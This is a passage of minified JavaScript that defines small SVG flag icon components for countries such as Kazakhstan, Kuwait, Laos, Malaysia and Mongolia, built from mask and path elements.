0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#JO_-_Jordan_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m4.5 6.935-.934.565.213-1.102L3 5.573l1.055-.044L4.5 4.5l.446 1.029H6l-.777.87.234 1.101-.956-.565Z",clipRule:"evenodd"})))),Ol=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KZ_-_Kazakhstan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KZ_-_Kazakhstan_svg__a)"},(0,s.createElement)("path",{fill:"#4EC7EE",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KZ_-_Kazakhstan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KZ_-_Kazakhstan_svg__b)"},(0,s.createElement)("path",{fill:"#FFE402",d:"M2.045 11.618c-.032.236.119.403.371.51.34.145.682.01.997-.34l-.408-.368c-.14.155-.241.215-.32.214.154-.11.35-.244.588-.404l.115-.166c.092-.395-.194-.608-.63-.608-.257 0-.463.05-.593.16-.214.18-.177.466.048.615a.593.593 0 0 0 .054.032c-.126.107-.203.217-.222.355Z"}),(0,s.createElement)("path",{stroke:"#FFE402",strokeWidth:.55,d:"M2.282 11.248s.063-.139.032-.21"}),(0,s.createElement)("path",{fill:"#FFE402",d:"M4.285 11.618c.032.236-.119.403-.372.51-.339.145-.681.01-.997-.34l.409-.368c.14.155.24.215.319.214-.153-.11-.349-.244-.587-.404l-.115-.166c-.092-.395.194-.608.63-.608.257 0 .462.05.593.16.214.18.177.466-.048.615a.593.593 0 0 1-.054.032c.126.107.203.217.222.355Z"}),(0,s.createElement)("path",{fill:"#FFE402",d:"m4.298 11.135-.501.226c-.07-.156-.092-.298-.033-.433l.504.219c.017-.04.017-.04.03-.012ZM2.045.382c-.032-.235.119-.403.371-.51.34-.145.682-.01.997.34L3.005.58c-.14-.155-.241-.215-.32-.214.154.11.35.244.588.404l.115.166c.092.395-.194.608-.63.608-.257 0-.463-.05-.593-.16-.214-.18-.177-.466.048-.615a.582.582 0 0 1 .054-.032C2.141.631 2.064.52 2.045.382Z"}),(0,s.createElement)("path",{fill:"#FFE402",d:"M4.285.382c.032-.235-.119-.403-.372-.51-.339-.145-.681-.01-.997.34l.409.368c.14-.155.24-.215.319-.214-.153.11-.349.244-.587.404l-.115.166c-.092.395.194.608.63.608.257 0 .462-.05.593-.16.214-.18.177-.466-.048-.615a.582.582 0 0 0-.054-.032c.126-.106.203-.217.222-.355Z"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M2.547 10.031c-.316.01-.512.075-.512.379 0 .335.326.44.673.44.314 0 .667-.195.667-.544 0-.212-.27-.64-.95-1.57-.023-.021-.036-.033-.046-.033a.437.437 0 0 1 .21-.05c.033 0 .076.017.119.039v.364h.72v-.275c0-.31-.46-.678-.84-.678-.331 0-.598.158-.733.385-.133.225-.031.44.16.611.285.393.506.718.645.932h-.113Zm.034.254a.454.454 0 0 1-.029-.007c.007.007.033.038.033.132a.884.884 0 0 1-.006.112.264.264 0 0 1-.05-.335l.001-.002-.01-.02.004-.003c.016-.008.03-.015.006.023l.05.1Zm-.029-.007-.01-.003c.002 0 .003 0 .005.002h.005Zm.273.028c0-.01-.003-.015-.008-.018l.003.004a.049.049 0 0 1 .005.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M3.783 10.031c.315.01.512.075.512.379 0 .335-.326.44-.673.44-.314 0-.668-.195-.668-.544 0-.212.27-.64.95-1.57.024-.021.037-.033.047-.033a.437.437 0 0 0-.21-.05.299.299 0 0 0-.119.039v.364h-.72v-.275c0-.31.46-.678.84-.678.331 0 .597.158.732.385.134.225.032.44-.16.611-.285.393-.506.718-.644.932h.113Zm-.034.254a.454.454 0 0 0 .029-.007c-.007.007-.033.038-.033.132 0 .05.002.087.005.112a.264.264 0 0 0 .051-.335l-.001-.002.01-.02-.004-.003c-.016-.008-.03-.015-.006.023l-.051.1Zm.029-.007.01-.003a.022.022 0 0 0-.005.002h-.005Zm-.274.028c0-.01.004-.015.01-.018l-.004.004a.049.049 0 0 0-.006.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M2.547 6.677c-.316-.009-.512-.074-.512-.378 0-.335.326-.44.673-.44.314 0 .667.195.667.544 0 .212-.27.64-.95 1.57-.023.021-.036.032-.046.033.04.022.113.05.21.05a.299.299 0 0 0 .119-.039v-.364h.72v.275c0 .31-.46.677-.84.677-.331 0-.598-.157-.733-.384-.133-.225-.031-.44.16-.611.285-.393.506-.718.645-.932h-.113Zm.034-.253a.461.461 0 0 0-.029.007c.007-.007.033-.038.033-.132a.884.884 0 0 0-.006-.112.264.264 0 0 0-.05.334l.001.003-.01.02.004.003c.016.008.03.015.006-.023l.05-.1Zm-.029.007-.01.003a.017.017 0 0 0 .005-.002l.005-.001Zm.273-.028c0 .01-.003.015-.008.018l.003-.004a.05.05 0 0 0 .005-.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M3.783 6.677c.315-.009.512-.074.512-.378 0-.335-.326-.44-.673-.44-.314 0-.668.195-.668.544 0 .212.27.64.95 1.57.024.021.037.032.047.033a.437.437 0 0 1-.21.05.299.299 0 0 1-.119-.039v-.364h-.72v.275c0 .31.46.677.84.677.331 0 .597-.157.732-.384.134-.225.032-.44-.16-.611a22.959 22.959 0 0 1-.644-.932h.113Zm-.034-.253.029.007c-.007-.007-.033-.038-.033-.132 0-.05.002-.087.005-.112a.264.264 0 0 1 .051.334l-.001.003.01.02-.004.003c-.016.008-.03.015-.006-.023l-.051-.1Zm.029.007.01.003a.017.017 0 0 1-.005-.002l-.005-.001Zm-.274-.028c0 .01.004.015.01.018l-.004-.004a.049.049 0 0 1-.006-.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M2.547 5.323c-.316.009-.512.074-.512.378 0 .335.326.44.673.44.314 0 .667-.195.667-.544 0-.212-.27-.64-.95-1.57-.023-.021-.036-.032-.046-.033a.437.437 0 0 1 .21-.05c.033 0 .076.017.119.039v.364h.72v-.275c0-.31-.46-.677-.84-.677-.331 0-.598.157-.733.384-.133.225-.031.44.16.611.285.393.506.718.645.932h-.113Zm.034.253a.469.469 0 0 1-.029-.007c.007.007.033.038.033.132a.884.884 0 0 1-.006.112.264.264 0 0 1-.05-.334l.001-.003-.01-.02.004-.003c.016-.008.03-.015.006.023l.05.1Zm-.029-.007-.01-.003.005.002.005.001Zm.273.028c0-.01-.003-.015-.008-.018l.003.004a.05.05 0 0 1 .005.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M3.783 5.323c.315.009.512.074.512.378 0 .335-.326.44-.673.44-.314 0-.668-.195-.668-.544 0-.212.27-.64.95-1.57.024-.021.037-.032.047-.033a.437.437 0 0 0-.21-.05.299.299 0 0 0-.119.039v.364h-.72v-.275c0-.31.46-.677.84-.677.331 0 .597.157.732.384.134.225.032.44-.16.611-.285.393-.506.718-.644.932h.113Zm-.034.253a.469.469 0 0 0 .029-.007c-.007.007-.033.038-.033.132 0 .05.002.087.005.112a.264.264 0 0 0 .051-.334L3.8 5.476l.01-.02-.004-.003c-.016-.008-.03-.015-.006.023l-.051.1Zm.029-.007.01-.003a.017.017 0 0 0-.005.002l-.005.001Zm-.274.028c0-.01.004-.015.01-.018l-.004.004a.049.049 0 0 0-.006.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M2.547 1.968c-.316-.009-.512-.074-.512-.378 0-.335.326-.44.673-.44.314 0 .667.195.667.544 0 .212-.27.64-.95 1.57-.023.021-.036.033-.046.033.04.023.113.05.21.05a.299.299 0 0 0 .119-.039v-.364h.72v.275c0 .31-.46.678-.84.678-.331 0-.598-.158-.733-.385-.133-.225-.031-.44.16-.611.285-.393.506-.718.645-.932h-.113Zm.034-.253a.469.469 0 0 0-.029.007c.007-.007.033-.038.033-.132a.884.884 0 0 0-.006-.112.264.264 0 0 0-.05.335l.001.002-.01.02.004.003c.016.008.03.015.006-.023l.05-.1Zm-.029.007-.01.003a.017.017 0 0 0 .005-.002h.005Zm.273-.028c0 .01-.003.015-.008.018l.003-.004a.05.05 0 0 0 .005-.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",fillRule:"evenodd",d:"M3.783 1.968c.315-.009.512-.074.512-.378 0-.335-.326-.44-.673-.44-.314 0-.668.195-.668.544 0 .212.27.64.95 1.57.024.021.037.033.047.033a.437.437 0 0 1-.21.05.299.299 0 0 1-.119-.039v-.364h-.72v.275c0 .31.46.678.84.678.331 0 .597-.158.732-.385.134-.225.032-.44-.16-.611a22.959 22.959 0 0 1-.644-.932h.113Zm-.034-.253.029.007c-.007-.007-.033-.038-.033-.132 0-.05.002-.087.005-.112a.264.264 0 0 1 .051.335l-.001.002.01.02-.004.003c-.016.008-.03.015-.006-.023l-.051-.1Zm.029.007.01.003a.017.017 0 0 1-.005-.002h-.005Zm-.274-.028c0 .01.004.015.01.018l-.004-.004a.049.049 0 0 1-.006-.014ZM9.493 1.392l.205.764s.003.174-.194.174c-.196 0-.205-.174-.205-.174l.194-.764Zm1.732 2.918c0 .994-.759 1.8-1.695 1.8s-1.695-.806-1.695-1.8.76-1.8 1.695-1.8c.936 0 1.695.806 1.695 1.8Zm-.934-2 .027-.79-.41.673s-.04.17.147.227c.187.057.236-.11.236-.11Zm.78-.416-.258.748s-.095.145-.258.036c-.162-.11-.073-.26-.073-.26l.588-.524Zm.147 1.228.465-.64-.716.33s-.129.116-.005.269c.123.152.256.04.256.04Zm.888.117-.64.465s-.161.064-.232-.119a.19.19 0 0 1 .089-.254l.783-.092Zm-.562 1.102.748-.257-.776-.141s-.172.021-.159.217c.014.196.187.181.187.181Zm.686.607-.79.028s-.17-.037-.125-.228c.044-.191.215-.162.215-.162l.7.362Zm-1.067.603.764.204-.564-.55s-.155-.079-.253.091c-.098.17.053.255.053.255Zm.245.883-.67-.42s-.12-.124.023-.258.269-.014.269-.014l.378.692Zm-1.207-.107.52.597-.16-.772S10.476 6 10.3 6.086c-.177.086-.099.24-.099.24Zm-.277.854-.321-.722s-.03-.171.164-.202c.193-.03.23.14.23.14l-.073.784ZM9 6.396l.082.787.312-.724s.018-.173-.176-.204c-.194-.03-.218.141-.218.141Zm-.715.532.151-.776s.074-.157.25-.071c.176.086.11.246.11.246l-.51.601Zm-.318-1.186-.371.699.663-.426s.111-.134-.032-.268c-.143-.133-.26-.005-.26-.005Zm-.892.022.559-.56s.149-.088.247.081a.19.19 0 0 1-.047.266l-.76.213Zm.392-1.178-.698.372.788.018s.167-.049.123-.24c-.045-.191-.213-.15-.213-.15Zm-.763-.493.777-.15s.173.01.16.205c-.014.195-.188.193-.188.193l-.749-.248Zm.97-.762-.786-.083.643.456s.165.053.236-.13c.07-.183-.093-.243-.093-.243Zm-.367-.841.723.321s.136.108.013.26c-.124.152-.265.05-.265.05l-.47-.631Zm1.208-.071-.597-.52.266.743s.105.138.268.029c.162-.11.063-.252.063-.252Zm.154-.896.42.67s.052.166-.135.223c-.188.057-.248-.106-.248-.106l-.037-.787Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFE402",d:"m5.774 4 .721.073c-.346 2.347.588 3.404 3.019 3.404 2.46 0 3.6-1.105 3.6-3.477 0 0 .512-.029.507.073-.11 2.73-1.281 4.481-4.179 4.481-3.036 0-4.104-1.598-3.668-4.554Z"}),(0,s.createElement)("path",{fill:"#FFE402",d:"m5.99 5.4.68.073c-.326 2.347.556 3.404 2.851 3.404 2.324 0 3.4-1.105 3.4-3.477 0 0 .484-.03.48.073-.104 2.73-1.21 4.481-3.947 4.481-2.867 0-3.877-1.598-3.465-4.554Z"})))),Bl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KW_-_Kuwait_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KW_-_Kuwait_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KW_-_Kuwait_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#KW_-_Kuwait_svg__b)"},(0,s.createElement)("path",{fill:"#093",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 8v4h16V8H0Z"})),(0,s.createElement)("path",{fill:"#272727",fillRule:"evenodd",d:"M0 0v12l6-4V4L0 0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KW_-_Kuwait_svg__c",width:6,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l6-4V4L0 0Z",clipRule:"evenodd"})))),zl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KG_-_Kyrgyzstan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KG_-_Kyrgyzstan_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KG_-_Kyrgyzstan_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KG_-_Kyrgyzstan_svg__b)"},(0,s.createElement)("path",{fill:"#FFDC17",fillRule:"evenodd",d:"M7.991 8.933c.054 0 .107-.001.16-.004l.308.984.072-1.028c.103-.018.204-.042.304-.071l.529.887-.17-1.017a2.99 2.99 0 0 0 .279-.14l.721.743-.402-.952a2.99 2.99 0 0 0 .239-.198l.875.557-.612-.834a2.95 2.95 0 0 0 .186-.247l.98.342-.788-.671c.046-.092.087-.187.124-.284l1.033.109-.923-.473c.023-.1.04-.201.054-.305l1.03-.13-1.008-.249a2.98 2.98 0 0 0-.018-.309l.972-.362L10.9 5.27a2.926 2.926 0 0 0-.09-.298l.86-.574-1.01.226a2.965 2.965 0 0 0-.157-.27l.703-.755-.93.452a3.002 3.002 0 0 0-.216-.227l.508-.895-.8.651a2.999 2.999 0 0 0-.262-.172l.286-.986-.626.815a2.985 2.985 0 0 0-.296-.107l.049-1.023-.42.936a3.019 3.019 0 0 0-.313-.037L7.995 2l-.19 1.006a3.022 3.022 0 0 0-.315.035l-.418-.934.049 1.02c-.102.031-.202.067-.299.108l-.624-.813.285.982c-.091.053-.18.111-.265.173l-.796-.648.505.89c-.076.073-.149.149-.217.23l-.926-.45.699.75c-.058.089-.11.18-.159.273l-1.005-.224.855.57a2.925 2.925 0 0 0-.091.302l-1.03.01.965.36A2.975 2.975 0 0 0 5 5.955l-1.001.247 1.023.13c.013.104.032.207.055.309l-.917.469L5.187 7c.037.098.079.194.125.287l-.784.667.976-.34c.058.086.121.17.188.25l-.609.83.871-.556c.077.071.157.138.241.2l-.4.948.72-.74c.09.051.183.098.28.14L6.625 9.7l.529-.885c.1.028.201.052.305.07l.071 1.027.308-.983.153.003Zm2.25-2.975a2.259 2.259 0 0 1-2.268 2.25 2.259 2.259 0 0 1-2.268-2.25 2.259 2.259 0 0 1 2.268-2.25 2.259 2.259 0 0 1 2.268 2.25ZM7.988 7.709a1.715 1.715 0 0 0 1.574-2.396c-.61.043-1.075.27-1.384.502L7.932 6l-.229-.198c-.22-.19-.643-.404-1.294-.477a1.715 1.715 0 0 0 1.579 2.384ZM6.75 4.807a1.71 1.71 0 0 1 1.237-.527c.478 0 .91.196 1.222.512-.49.057-.905.18-1.242.37-.3-.172-.706-.289-1.217-.355Z",clipRule:"evenodd"})))),Pl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LA_-_Laos_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LA_-_Laos_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0h16v4H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8 7.87a1.875 1.875 0 1 0 0-3.75 1.875 1.875 0 0 0 0 3.75Z"}))),Il=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"LB_-_Lebanon_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#LB_-_Lebanon_svg__a)"},(0,s.createElement)("path",{fill:"#F50101",d:"M16 0H0v3h16V0Zm0 9H0v3h16V9Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 3h16v6H0V3Z"}),(0,s.createElement)("path",{fill:"#52AB0B",d:"M10.757 6.257c.038.433-1.563-.18-1.563-.007 0 .174 1.715.479 1.712.868-.003.388-2.033-.111-1.578.063.455.175 1.433.594 1.322.854-.238.557-1.813-.386-1.944-.2-.212.3 1.162 1 1.15 1.066-.022.128-.938-.201-1.15.065-.172-.049-.252-.28-.305-.311l-.339-4.362s.304 4.107-.084 4.225c-.388.118-1.466.477-1.497.298-.012-.067 1.298-.681 1.086-.98-.156-.222-1.736.562-1.836.108-.45-.324 1.454-.604 1.454-.935 0-.331-1.741.392-1.533-.069.208-.46 1.602-.626 1.628-.69.048-.116-1.55.182-1.55 0 0-.344.957-.411 1.55-.72.035-.354-1.44.347-1.55.064-.109-.283 1.886-1.016 1.837-1.074-.077-.09-1.685.317-1.42.104.515-.415 1.52-.98 1.75-1.13 0 0 .028-.057.058-.038l.063-.04s0 .355-.005.078c-.005-.277 2.355.935 2.382 1.243.03.359-1.459-.27-1.424.082.303.188 1.164.55 1.52.71.161.073-1.189-.153-1.16-.042.072.282 1.388.317 1.426.77Z"}))),Gl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MO_-_Macao_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MO_-_Macao_svg__a)"},(0,s.createElement)("path",{fill:"#1C9975",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MO_-_Macao_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MO_-_Macao_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m8.01 3.427-.816.493.186-.962-.68-.72.921-.04.39-.898.39.899h.92l-.68.759.205.962-.835-.493ZM5.691 3.792l-.505.305.115-.595-.42-.445.57-.024.24-.556.241.556h.569l-.42.47.127.594-.517-.305ZM10.29 3.792l-.504.305.115-.595-.42-.445.569-.024.24-.556.242.556h.568l-.42.47.127.594-.516-.305ZM4.383 4.805l-.405.245.092-.477-.337-.358.457-.02.193-.445.194.446h.456l-.337.377.102.477-.415-.245ZM11.78 4.805l-.405.245.092-.477-.337-.358.457-.02.193-.445.194.446h.456l-.337.377.102.477-.415-.245Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"MO_-_Macao_svg__c",width:8,height:8,x:4,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M8 11a4 4 0 1 0 0-8 4 4 0 0 0 0 8Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#MO_-_Macao_svg__c)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M6.31 11.64H4.358V9.01h1.949c.69-.01 1.194-.207 1.531-.586l.168-.189.187.17c.45.407.899.605 1.353.605h2.152v2.63H9.546c-.522 0-1.026-.197-1.508-.582-.426.379-1.006.571-1.728.581Z"})),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M8.017 3.804s-.854.844-.854 2.002c0 .248.04.482.1.697-.275-.61-.294-1.271-.056-1.993l-.323-.106c-.242.734-.243 1.424-.003 2.063a4.106 4.106 0 0 0-1.654-.564l-.037.338a3.76 3.76 0 0 1 1.451.48 2.69 2.69 0 0 0-.34-.112c-1.082-.276-2.143.116-2.143.116S4.77 8.098 5.955 8.3c.06.01.118.018.176.024h-.01c-.565 0-1.09-.231-1.582-.7l-.235.246c.553.527 1.16.795 1.818.795.642 0 1.24-.256 1.784-.76.088-.054.14-.091.147-.097l.022.018-.017.03s.054.032.15.078c.54.417 1.213.73 1.746.73.657 0 1.265-.267 1.818-.794l-.235-.246c-.492.469-1.018.7-1.583.7-.207 0-.409-.033-.608-.1.278.015.585-.01.902-.107 1.167-.357 1.654-1.437 1.654-1.437s-.621-.335-1.41-.339c.176-.045.36-.079.553-.1l-.037-.338c-.74.081-1.38.331-1.918.748.314-.69.339-1.443.074-2.247l-.324.106c.217.658.22 1.266.01 1.83.037-.167.058-.345.058-.534 0-1.22-.89-2.002-.89-2.002Zm.376 3.574-.012.018.015-.018h-.003Zm-.826-.08.034-.03c.03.05.06.097.09.142a3.881 3.881 0 0 0-.124-.112Z",clipRule:"evenodd"})))),Kl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MY_-_Malaysia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MY_-_Malaysia_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M.014 2.5h16v1.45h-16zM.014 5.1h16v1.45h-16zM.056 7.6h16v1.25h-16zM.056 10.1h16v1.35h-16z"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0h16v1.25H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0h8v6H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M1.797 3.101c0 .688.324 1.339.983 1.339.99 0 1.182-.211 1.644-.502.109.245-.26 1.294-1.657 1.294C1.649 5.21.745 4.312.745 3.102c0-1.39 1.022-2.14 1.994-2.132.858 0 1.768.487 1.74 1.108-.404-.395-.843-.395-1.574-.395-.73 0-1.108.73-1.108 1.418Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"m5.5 3.65-.464.677.023-.82-.773.275.5-.65L4 2.9l.787-.232-.5-.65.772.275-.023-.82.464.677.464-.677-.023.82.773-.275-.5.65L7 2.9l-.787.232.5.65-.772-.275.023.82L5.5 3.65Z",clipRule:"evenodd"}))),Wl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MV_-_Maldives_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MV_-_Maldives_svg__a)"},(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0h16v11a1 1 0 0 1-1 1H1a1 1 0 0 1-1-1V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#579D20",fillRule:"evenodd",d:"M3 3h10v6H3V3Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#B6EB9A",strokeOpacity:.238,d:"M3.5 3.5h9v5h-9v-5Z"}),(0,s.createElement)("mask",{id:"MV_-_Maldives_svg__b",width:10,height:6,x:3,y:3,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M3 3h10v6H3V3Z",clipRule:"evenodd"}),(0,s.createElement)("path",{stroke:"#fff",d:"M3.5 3.5h9v5h-9v-5Z"})),(0,s.createElement)("g",{mask:"url(#MV_-_Maldives_svg__b)"},(0,s.createElement)("path",{fill:"#F9FAFA",fillRule:"evenodd",d:"M8.016 6.231c-.008 1.533 1.199 2.35 1.199 2.35-1.377.162-2.293-1.086-2.293-2.335 0-1.248 1.248-2.28 2.293-2.745 0 0-1.19 1.197-1.199 2.73Z",clipRule:"evenodd"})))),jl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MN_-_Mongolia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("rect",{width:16,height:12,fill:"#fff",rx:0})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MN_-_Mongolia_svg__a)"},(0,s.createElement)("path",{fill:"#4C67E8",d:"M5 0h6v12H5V0Z"}),(0,s.createElement)("path",{fill:"#C51918",d:"M11 0h5v12h-5V0ZM0 0h6v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F8D000",d:"M3.007 3.442c-.507 0-.44-.494-.44-.494l.24-.518v.519c0 .066.091-.067.091-.228 0-.16.109-.401.109-.401l.007-.16a.47.47 0 0 0 .106.13l.03.03c.062.064.053.234.046.38-.007.134-.012.248.037.248.102 0 .095-.459.095-.459l.172.46s.014.493-.493.493Zm0-1.41c.013-.075.011.026.007.128a.218.218 0 0 1-.007-.128Zm.762 2.31a.739.739 0 0 1-.75.727.739.739 0 0 1-.75-.727c0-.401.336-.727.75-.727s.75.326.75.727Zm-1.884 1.36H1v4.286h.885V5.702Zm3.115 0h-.885v4.286H5V5.702Zm-2.885.037.863.534.972-.534H2.115ZM2.978 10l-.863-.534H3.95L2.978 10Zm-.863-3.553h1.808v.336H2.115v-.336Zm1.808 2.497H2.115v.336h1.808v-.336Zm-.885-.186c.51 0 .924-.4.924-.894s-.414-.895-.924-.895-.923.4-.923.895c0 .494.414.894.923.894Zm-1.036-4.15s.03.934.95.934c.921 0 1.07-.934 1.07-.934s-.356.572-1.01.572-1.01-.572-1.01-.572Z"}))),ql=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MM_-_Myanmar_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#MM_-_Myanmar_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 8h16v4H0V8Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 4h16v4H0V4Z"}),(0,s.createElement)("path",{fill:"#FFD018",d:"M0 0h16v4H0V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M8.031 7.988 5.456 9.625l.863-2.866-1.837-1.873 2.533-.055L8.135 2l1.022 2.867 2.526.044-1.899 1.907.887 